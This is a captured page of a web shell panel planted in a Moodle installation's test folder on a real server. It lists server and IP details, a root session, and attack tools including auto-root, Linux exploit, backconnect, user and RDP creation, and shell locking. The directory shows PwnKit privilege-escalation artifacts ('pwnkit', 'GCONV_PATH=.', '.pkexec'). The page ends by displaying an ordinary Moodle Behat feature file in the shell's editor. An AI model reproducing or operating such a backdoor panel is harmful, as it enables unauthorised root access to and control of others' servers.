Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
my /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_blocks.feature
1.04
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
reset_all_pages.feature
3.96
KB
-rwxrwxrwx
reset_page.feature
1.08
KB
-rwxrwxrwx
restrict_available_blocks.feat...
1.69
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : restrict_available_blocks.feature
@core @core_my Feature: Restrict which blocks can be added to Dashboard In order to restrict which blocks can be added As a student I need to ensure I can add the blocks As an admin I need to remove the capability to add a blocks As a student I need to ensure I can't add the blocks any more Background: Given the following "users" exist: | username | firstname | lastname | email | | student1 | Student | 1 | student1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | topics | And the following "course enrolments" exist: | user | course | role | | student1 | C1 | student | Scenario: The comments block can be added to Dashboard by default And I log in as "student1" And I press "Customise this page" Then the add block selector should contain "Comments" block And the add block selector should contain "Courses" block And the add block selector should contain "HTML" block And the add block selector should contain "Tags" block Scenario: Remove the ability to add the comments block to Dashboard Given the following "role capability" exists: | role | user | | block/comments:myaddinstance | prohibit | | block/course_list:myaddinstance | prohibit | | block/html:myaddinstance | prohibit | When I log in as "student1" And I press "Customise this page" Then the add block selector should not contain "Comments" block And the add block selector should not contain "Courses" block And the add block selector should not contain "HTML" block And the add block selector should contain "Tags" block
Close